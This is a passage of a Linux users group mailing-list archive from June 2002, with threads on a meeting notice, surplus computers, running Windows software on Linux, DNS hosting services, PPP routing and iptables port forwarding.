Jun 2002 15:29:34 -0700 (MST) Subject: [PLUG-announce]Meeting tonight! (fwd) Message-ID: moin, moin, just a final reminder about tonight's devel meeting. ciao, der.hans -- # https://www.LuftHans.com/ # Magic is science unexplained. - der.hans ---------- Forwarded message ---------- Date: Mon, 03 Jun 2002 15:51:03 -0400 From: alandd@mindspring.com Reply-To: plug-devel@lists.PLUG.phoenix.az.us To: plug-devel@lists.PLUG.phoenix.az.us Subject: Meeting tonight! The Devel meeting is all set for tonight. 7:00pm Adtron Corporation 3710 E. University, Suite 4 Phoenix See the plug web site for directions and map. Vic will present on the Autoconf suite of tools. I just ordered the pizzas and soda. Someone want to pick up some ice on the way over? Alan _______________________________________________ PLUG-devel mailing list - PLUG-devel@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-devel _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:17:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Eddie Williams) Date: Mon, 3 Jun 2002 16:17:21 -0700 (PDT) Subject: Old computers available In-Reply-To: Message-ID: I'll buy one. On Mon, 3 Jun 2002, Matt Alexander wrote: > How's $25 each sound? > > > On Mon, 3 Jun 2002, Jeff wrote: > > > How much are they askin? I might be interested. > > > > > > ----- Original Message ----- > > From: "Matt Alexander" > > To: > > Sent: Monday, June 03, 2002 3:01 PM > > Subject: Old computers available > > > > > > | I've got about 25 spare computers that my company is looking to sell or > > | donate to a good cause. > > | Here are the stats: > > | > > | Pentium 133Mhz > > | 64MB RAM > > | 1.3GB HD > > | 10Mb NIC > > | 1MB SVGA Video Card > > | > > | Linux installs fine on these computers and they could be put to a lot of > > | good use as a low-traffic web server, DNS server, mail server, router, > > | proxy, or even a thin-client for the Linux Terminal Server Project! :-) > > | Anyone interested? > > | Thanks, > > | ~M > > | > > | ________________________________________________ > > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > | > > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- -Eddie From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:15:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 3 Jun 2002 16:15:30 -0700 Subject: Old computers available In-Reply-To: References: Message-ID: <200206031615.30091.voltage_spike@fastmail.fm> On Monday 03 June 2002 04:07 pm, Matt Alexander wrote: > How's $25 each sound? I'm not sure. How do I type the sound of a wallet opening? -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:28:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 3 Jun 2002 16:28:40 -0700 (PDT) Subject: Old computers available tomorrow In-Reply-To: Message-ID: OK, I think the best way for this to work is for anyone interested to stop by New Vision tomorrow between the hours of 9am and 5pm. At the front desk, ask for me, Matt Alexander. New Vision is located at 1920 E Broadway, halfway between McClintock and the 101 on the North side. First come, first serve. Thanks, ~M On Mon, 3 Jun 2002, Matt Alexander wrote: > How's $25 each sound? > > > On Mon, 3 Jun 2002, Jeff wrote: > > > How much are they askin? I might be interested. > > > > > > ----- Original Message ----- > > From: "Matt Alexander" > > To: > > Sent: Monday, June 03, 2002 3:01 PM > > Subject: Old computers available > > > > > > | I've got about 25 spare computers that my company is looking to sell or > > | donate to a good cause. > > | Here are the stats: > > | > > | Pentium 133Mhz > > | 64MB RAM > > | 1.3GB HD > > | 10Mb NIC > > | 1MB SVGA Video Card > > | > > | Linux installs fine on these computers and they could be put to a lot of > > | good use as a low-traffic web server, DNS server, mail server, router, > > | proxy, or even a thin-client for the Linux Terminal Server Project! :-) > > | Anyone interested? > > | Thanks, > > | ~M > > | > > | ________________________________________________ > > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > | > > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:21:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Mon, 3 Jun 2002 16:21:29 -0700 Subject: Old computers available In-Reply-To: References: <016701c20b50$0df4a020$d701870a@jeffbarker> Message-ID: <20020603232129.GF31933@ip68-3-203-249.ph.ph.cox.net> Sounds OK to me. Do they have CD's floppies or anything else interesting? What kind of video and network cards? Passive heatsinks or fans? (Interesting for embedded use...) On Mon, Jun 03, 2002 at 04:07:58PM -0700, Matt Alexander wrote: > How's $25 each sound? > > > On Mon, 3 Jun 2002, Jeff wrote: > > > How much are they askin? I might be interested. > > > > > > ----- Original Message ----- > > From: "Matt Alexander" > > To: > > Sent: Monday, June 03, 2002 3:01 PM > > Subject: Old computers available > > > > > > | I've got about 25 spare computers that my company is looking to sell or > > | donate to a good cause. > > | Here are the stats: > > | > > | Pentium 133Mhz > > | 64MB RAM > > | 1.3GB HD > > | 10Mb NIC > > | 1MB SVGA Video Card > > | > > | Linux installs fine on these computers and they could be put to a lot of > > | good use as a low-traffic web server, DNS server, mail server, router, > > | proxy, or even a thin-client for the Linux Terminal Server Project! :-) > > | Anyone interested? > > | Thanks, > > | ~M > > | > > | ________________________________________________ > > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > | > > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:36:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 3 Jun 2002 16:36:40 -0700 (PDT) Subject: Old computers available In-Reply-To: <20020603232129.GF31933@ip68-3-203-249.ph.ph.cox.net> Message-ID: On Mon, 3 Jun 2002, Shawn Rutledge wrote: > Sounds OK to me. > > Do they have CD's floppies or anything else interesting? > What kind of video and network cards? Passive heatsinks or > fans? (Interesting for embedded use...) Ah, I forgot to mention that these do not have cdrom drives. Most are missing floppy drives. All have video cards that work with Linux (I'm too lazy to check the exact brand right now) and 10Mb network cards. The CPUs have fans. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:30:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Mon, 3 Jun 2002 18:30:37 -0500 (CDT) Subject: Windows and Linux In-Reply-To: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> Message-ID: > Ok, this is intriguing to me. I am looking to migrate my house over to Linux, but I have some apps for which I cannot find comparable *nix substitutes. (Believe it or not, the request to move torward Linux is at my wife's request) I am curious as to what applications? > So, those who have experienced VMware, win4lin, and the like, can you offer me your best suggestions as far as which you prefer and which flavor of Linux you believe is most solid with your choice? Also, any gotchas that you can think of would be most helpful. I still love Carl's answer to this one, the best GNU\Linux distro you could possibly use, is the one that will give you the most support. Generally that means, use what your friends use. I think Debian GNU\Linux is the best of all worlds, but certainly it's hard to go wrong with about any major distrobution. As to windows under GNU\Linux, what I said below pretty much applies. If you arent willing to 'pay' for a solution, Wine is probably the only solution out there, if you are willing to pay, I think Win4Lin is the best product, but VMWare is interesting if you have need for virtual machines other than just windows. > Also, has anyone run into problems with accessing Windows only devices using either of these options? Win4Lin has problems with DirectX I think, butyou would have to consult their site to verify what is or isnt supported. -derek > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Sunday, May 26, 2002 9:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Cc: punkmmiv@cox.net > Subject: Re: Windows and Linux > > > On 26 May 2002 22:44:49 -0700 > Matt wrote: > > > I know that Windows and Linux are supposed to operate pretty well > > together, but the only articles I've read are about installing Linux > > once Windows is already there. I'm running a pure SuSE 8.0 box and I > > was wondering if it's possible to install Windows on it while still > > being able to use my current install? > > Try win4lin. It lets you run windows as a window inside your GNU/Linux > environment. Unlike VMWare and friends it is not a VM. Also, unlike > WINE it actually works and works well. It will even let windows use > (read/write) to your GNU/Linux file systems and such. It is not free, > but neither is M$ Windows (so I assume you dont have a problem with > that) and it is by far the best way to 'suffer' M$ while not having to > 'leave' a real operating system. > > -Derek > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:32:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 3 Jun 2002 16:32:08 -0700 Subject: eBay Listing In-Reply-To: <200206032151.RAA16097@hostinworld6.com> References: <200206032151.RAA16097@hostinworld6.com> Message-ID: <1023147128.3cfbfc78a73c6@webmail.freedom2surf.net> Quoting "Bryce C." : > This is the sort of thing that gives linux a bad rep or confuses people > about linux. Just look at the category it's under! I'm not saying the > entire listing is wrong or bad but the top part is misleading to the > inexperienced. > > http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=2028970463 > > Just My Little Vent, > Bryce C. > I really can't find objection to this listing. Most of the info is copies from the Mandrake site and they even offer free tech support. True, they could have listed the auction under the OS catagory, but I find it less objectionable then people selling Windows boot disks for the same price. Looks like a small business www.linuxpcshop.com using eBay to get their name out. They won't care if the item sells as long as it draws traffic to the (unfinished) website. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 00:39:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Mon, 3 Jun 2002 20:39:53 -0400 Subject: Windows and Linux Message-ID: <20020604003951.DSAH4796.lakemtao08.cox.net@smtp.central.cox.net> CodeWeavers have a product (called CrossPoint I *think*) that gives you DirectX support on Linux. I think its just based off of the Wine code but when I used it it worked *very* well. Wait a min now that I think about it it wasn't the CodeWeavers product I used. it was the Transgamming product (http://www.transgaming.com/news.php?newsid=25). I only loaded it up on my computer then brought up some games. So I don't know how well extended play would work. But installation was easy. Later I did some upgrades on other software which broke it. I not *really * much of a gammer so I haven't really bothered with it since. Carl P. ============================================================ From: Derek Neighbors Date: 2002/06/03 Mon PM 07:30:37 EDT To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: Windows and Linux > Ok, this is intriguing to me. I am looking to migrate my house over to Linux, but I have some apps for which I cannot find comparable *nix substitutes. (Believe it or not, the request to move torward Linux is at my wife's request) I am curious as to what applications? > So, those who have experienced VMware, win4lin, and the like, can you offer me your best suggestions as far as which you prefer and which flavor of Linux you believe is most solid with your choice? Also, any gotchas that you can think of would be most helpful. I still love Carl's answer to this one, the best GNU\Linux distro you could possibly use, is the one that will give you the most support. Generally that means, use what your friends use. I think Debian GNU\Linux is the best of all worlds, but certainly it's hard to go wrong with about any major distrobution. As to windows under GNU\Linux, what I said below pretty much applies. If you arent willing to 'pay' for a solution, Wine is probably the only solution out there, if you are willing to pay, I think Win4Lin is the best product, but VMWare is interesting if you have need for virtual machines other than just windows. > Also, has anyone run into problems with accessing Windows only devices using either of these options? Win4Lin has problems with DirectX I think, butyou would have to consult their site to verify what is or isnt supported. -derek > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Sunday, May 26, 2002 9:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Cc: punkmmiv@cox.net > Subject: Re: Windows and Linux > > > On 26 May 2002 22:44:49 -0700 > Matt wrote: > > > I know that Windows and Linux are supposed to operate pretty well > > together, but the only articles I've read are about installing Linux > > once Windows is already there. I'm running a pure SuSE 8.0 box and I > > was wondering if it's possible to install Windows on it while still > > being able to use my current install? > > Try win4lin. It lets you run windows as a window inside your GNU/Linux > environment. Unlike VMWare and friends it is not a VM. Also, unlike > WINE it actually works and works well. It will even let windows use > (read/write) to your GNU/Linux file systems and such. It is not free, > but neither is M$ Windows (so I assume you dont have a problem with > that) and it is by far the best way to 'suffer' M$ while not having to > 'leave' a real operating system. > > -Derek > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ============================================================ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 00:47:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 03 Jun 2002 17:47:16 -0700 Subject: Thanks to PLUG Message-ID: <3CFC0E14.818DB567@qwest.net> I first got started in Linux due to my CSE200 professor at ASU (who is on the ASULUG list) because I needed to be able to write and debug C/C++ programs before turning them in on the General Unix servers. I got RH4.2 and put it on a P166 tower I had built. I moved on, going from version to version of Red Hat as new releases came out. With the help of PLUG I was able to setup a DEC Alpha Multia to act as a Firewall for my DSL connection, now the Cisco 675 is doing NAT in PPP mode (used to be in bridging mode). I've been dual booting my Panasonic Toughbook CF-25mkII between Win95/RedHat Linux and have slowly been learning enough that I have fewer reasons to boot into Windows (Starcraft still runs best under Win95 on my poor little P150 rather than in Wine). This weekend I wiped the linux partitions out and freshly installed RH7.3. PCMCIA didn't work (stupid Yenta Socket driver) and Xwindows wouldn't do more than 640x480 (stupid Xconfigurator). Thanks to past help I've gotten from everyone on this list I was able to build a new kernel and reconfigure X to do 1024x768. The longest part of the debug was rebuilding the kernel and pcmcia_cs packages. As a side benefit, the format and install actually helped me get my Orinoco Wireless card working under linux, so now I can use both Linux and Windows anywhere in the house. All this thanks to the help of others on this list. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 04:33:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Mon, 3 Jun 2002 21:33:00 -0700 Subject: Fwd: Re: Bundesregierung waehlt Linux Message-ID: <200206032133.00244.dennisk@sahuaro.f2s.com> My friend Wolfgang passed on this link (auf deutsch) that makes it clear that all levels of the German government will be using Linux. I'm sure M$ will be watching this v-e-r-y closely. Dennis Kibbe ---------- Forwarded Message ---------- Hallo Dennis, das bedeutet natürlich, das alle Behörden und Ämter auch Linux bekommen. Ein dicker Brocken! http://www.tagesschau.de/aktuell/meldungen/0,2044,OID812742,00.html Wolfgang ------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 04:42:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Mon, 3 Jun 2002 21:42:48 -0700 Subject: Modem connects but can't surf Message-ID: <200206032142.48801.dennisk@sahuaro.f2s.com> I've been trying to troubleshoot a problem on a friend's Toshiba laptop loaded with SuSE 8.0 PPP will make a dialup connection to his ISP, Earthlink, but Konqueror doesn't seem to recongnise that a connection to the Internet is there. At Bill Lindley's suggestion I had him do a "route add default ppp0" thinking that the default route was set to eth0. The modem is a Xircom ethernet/modem combo PCMCIA card. No luck. Where else should I be looking? What logs should I ask him to e-mail me? Vielen dank im Voraus fuer einige Hinweise, Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 05:01:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 4 Jun 2002 00:01:58 -0500 Subject: Modem connects but can't surf In-Reply-To: <200206032142.48801.dennisk@sahuaro.f2s.com>; from dennisk@sahuaro.f2s.com on Mon, Jun 03, 2002 at 09:42:48PM -0700 References: <200206032142.48801.dennisk@sahuaro.f2s.com> Message-ID: <20020604000158.B5898@lilly.csoft.net> What is the output of 'ifconfig' and something like 'netstat -nr'? On Mon, Jun 03, 2002 at 09:42:48PM -0700, Dennis Kibbe wrote: I've been trying to troubleshoot a problem on a friend's Toshiba laptop loaded with SuSE 8.0 PPP will make a dialup connection to his ISP, Earthlink, but Konqueror doesn't seem to recongnise that a connection to the Internet is there. At Bill Lindley's suggestion I had him do a "route add default ppp0" thinking that the default route was set to eth0. The modem is a Xircom ethernet/modem combo PCMCIA card. No luck. Where else should I be looking? What logs should I ask him to e-mail me? Vielen dank im Voraus fuer einige Hinweise, Dennis Kibbe ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 12:42:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Tue, 4 Jun 2002 05:42:49 -0700 Subject: Sending out press release - final Message-ID: <200206040542.49248.dennisk@sahuaro.f2s.com> Just checking that the version up on the PLUG site is the final, best-ever, unanimously approved version. If so, I'll get it out to the media contacts that Jim sent me. Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 12:56:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Tue, 4 Jun 2002 05:56:26 -0700 Subject: Taiwan follows Germany's lead Message-ID: <200206040556.26537.dennisk@sahuaro.f2s.com> Taiwan is also starting a Free Software initiative naming high license fees, security and to "increase the independence of the IT industry" as driving reasons. The store in english is here: http://www.kuro5hin.org/story/2002/6/3/55433/41738 Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 14:09:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Tue, 4 Jun 2002 07:09:37 -0700 (MST) Subject: Sending out press release - final In-Reply-To: <200206040542.49248.dennisk@sahuaro.f2s.com> Message-ID: Am 04. Jun, 2002 schwätzte Dennis Kibbe so: > Just checking that the version up on the PLUG site is the final, best-ever, > unanimously approved version. If so, I'll get it out to the media contacts > that Jim sent me. The URL: http://www.plugpresents.com/installfest/ My suggestions haven't been incorporated. ciao, der.hans -- # https://www.LuftHans.com/ # Motorraeder toeten nicht. Motorraeder werden getoetet. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 14:56:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Todd Hought) Date: Tue, 4 Jun 2002 07:56:13 -0700 (MST) Subject: eBay Listing In-Reply-To: <200206032151.RAA16097@hostinworld6.com> Message-ID: Wow, Linux 8.2? is that the kernel version? or just a rubber stamp that Linus uses when he gives his seal of approval to every boxed copy of linux in the world? ANyhew, I would probably cut the seller some slack, he's from Nebraska, which certainly explains a lot. :-) *grin* On 3 Jun 2002, Bryce C. wrote: > This is the sort of thing that gives linux a bad rep or confuses people > about linux. Just look at the category it's under! I'm not saying the > entire listing is wrong or bad but the top part is misleading to the > inexperienced. > > http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=2028970463 > > Just My Little Vent, > Bryce C. > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 15:10:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Tue, 4 Jun 2002 08:10:11 -0700 Subject: mounting novell volumes In-Reply-To: <3CFBDB27.5CAFA00F@pop.phnx.uswest.net> References: <200206031058.52521.plug@the-arcanum.org> <3CFBDB27.5CAFA00F@pop.phnx.uswest.net> Message-ID: <200206040810.16001.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The server boots okay, the sys volume is a 2gb partition, and it has almost 6 meg of free space.. The people who use this know nothing about novell, neither does their company, and neither do I. THis is netware 3.12 It boots, takes about 15-20 minutes to mount the sys volume, but I can't get any workstations to acknowledge it. We want to switch them over to a small win98 machine that can do just file serving, but need the css data (from the hotel reservation system) before we can do anything. I'lll look at some of those free tools, thanks a lot Steve. nathan Am Montag 03 Juni 2002 02:09 nachmittags schrieb foodog: > Nathan, I haven't heard of a non-Netware method of mounting Netware > volumes. Is the server unbootable? FWIW, the best non-Novell tools for > Netware that I know of come from: > http://www.PortlockSoftware.com - > http://www.ontrack.com - > http://www.jrbsoftware.com -- large number of "free" utils plus more > that cost. > > Of course, searching through support.novell.com and developer.novell.com > yields lots of free tools and info. > > BTW, if the server *isn't* toasted and you're running NW 5.x or 6 > there's support for NFS > > Could you elaborate on the situation? > Steve > > Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > I booted up a novell machine using a bbc cd and I need to mount the > > novell volume (/dev/hda2) onto the tree so I can export it. > > The fdisk info says it is id 65 Novell Netware 386 > > > > Does anyone know how I can mount that? I tried the ncpfs module, but it > > doesn't work. > > > > nathan > > -----BEGIN PGP SIGNATURE----- > > Version: GnuPG v1.0.7 (GNU/Linux) > > > > iD8DBQE8+65cQ7yNnsYcupwRAnx9AJ9Ga+JvecuXlU9n32S/9m7M7hkbFgCgq08N > > 5V5D6ElmVvifCzrLPF8nRyM= > > =d4n0 > > -----END PGP SIGNATURE----- > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE8/NhXQ7yNnsYcupwRAgZoAJ9kVBz4fRJNSXb6Y2iebZYkY8uYXQCgqBXa 1Fo55C8NyzarP66Nlw65dmQ= =u9LP -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 16:24:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Charlie Bullen) Date: Tue, 4 Jun 2002 09:24:49 -0700 Subject: DNS services Message-ID: <005901c20be4$5a0a7900$6400a8c0@amd1000> This is a multi-part message in MIME format. ------=_NextPart_000_0056_01C20BA9.ACBEA8F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Has anyone used a DNS service, such as ZoneEdit, to manage DNS service = for multiple domains, aprox 50, that also have multiple servers on each = domain such as www.xyz.com, info.xyz.com etc.=20 The fellow that owns the company where I work is currently using bind on = a server he administers, but is looking for an easier way. I don't know = if this matters, but he is running several servers running RedHat 7.2, 1 = SCO unix box and on BSD box, no microsoft servers. Regards, Charlie ------=_NextPart_000_0056_01C20BA9.ACBEA8F0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Has anyone used a DNS service, such as = ZoneEdit, to=20 manage DNS service for multiple domains, aprox 50, that also have = multiple=20 servers on each domain such as www.xyz.com,=20 info.xyz.com etc.
 
The fellow that owns the company where = I work is=20 currently using bind on a server he administers, but is looking for an = easier=20 way. I don't know if this matters, but he is running several servers = running=20 RedHat 7.2, 1 SCO unix box and on BSD box, no microsoft = servers.
 
Regards,
 
 
Charlie
------=_NextPart_000_0056_01C20BA9.ACBEA8F0-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 16:47:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Terence Chang) Date: Tue, 4 Jun 2002 09:47:52 -0700 (PDT) Subject: DNS services In-Reply-To: <005901c20be4$5a0a7900$6400a8c0@amd1000> Message-ID: <20020604164752.74823.qmail@web9902.mail.yahoo.com> Have you check out the www.powerdns.com? The provide some easy interface... It's free for less then 5 domains. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 17:34:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Tue, 4 Jun 2002 13:34:51 -0400 Subject: DNS services Message-ID: <20020604173453.FMJM8234.lakemtao06.cox.net@smtp.central.cox.net> This is a multi-part message in MIME format. ------=____1023212091623_YJJpr3s6Rn Content-Type: text/plain; charset=ISO8859_1 Content-Transfer-Encoding: 7bit I'm using zoneEdit for multiple domains on one box. Working really well. I"m not *really* doing multiple "servers" (I don't think this term is correct) on any of the domains but I've seen the option on the Edit Zone section of zoneEdit so I wouldn't think you'd have a problem. Plus ZoneEdit is free for the first five zones. Carl P. ============================================================ From: "Charlie Bullen" Date: 2002/06/04 Tue PM 12:24:49 EDT To: Subject: DNS services Has anyone used a DNS service, such as ZoneEdit, to manage DNS service for multiple domains, aprox 50, that also have multiple servers on each domain such as www.xyz.com, info.xyz.com etc. The fellow that owns the company where I work is currently using bind on a server he administers, but is looking for an easier way. I don't know if this matters, but he is running several servers running RedHat 7.2, 1 SCO unix box and on BSD box, no microsoft servers. Regards, Charlie ============================================================ ------=____1023212091623_YJJpr3s6Rn Content-Type: text/html; name="reply" Content-Disposition: inline; filename="reply"
Has anyone used a DNS service, such as ZoneEdit, to manage DNS service for multiple domains, aprox 50, that also have multiple servers on each domain such as www.xyz.com, info.xyz.com etc.
 
The fellow that owns the company where I work is currently using bind on a server he administers, but is looking for an easier way. I don't know if this matters, but he is running several servers running RedHat 7.2, 1 SCO unix box and on BSD box, no microsoft servers.
 
Regards,
 
 
Charlie
------=____1023212091623_YJJpr3s6Rn-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 17:46:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Tue, 4 Jun 2002 13:46:37 -0400 Subject: More iptables questions Message-ID: <20020604174639.GZTT4796.lakemtao08.cox.net@smtp.central.cox.net> Thank you all for you help with iptables. Now a new question. If you want to do port forwarding do you have to accept it on the INPUT chain?? So in syntax I think what I'm asking is this if I do iptables -A FORWARD -p tcp -i $ext -dport 8081 -j ACCEPT iptables -t nat -A PREROUTING -s $FIREWALL -dport 8081 -j DNAT --to $WEBSERVER:80 (syntax may be a little off I'm trying to do this "on the fly") do I need to add this to the rules? iptables -A INPUT -p tcp -dport 8081 -j ACCEPT So far I've tried both and haven't gotten it to work but while debugging I thought I would find out how it *should* be working. Thanks, From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 18:29:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert A. Klahn) Date: Tue, 4 Jun 2002 11:29:13 -0700 Subject: DNS services In-Reply-To: <200206041905.g54J5I231273@PlugList.MyButt.Net> References: <200206041905.g54J5I231273@PlugList.MyButt.Net> Message-ID: 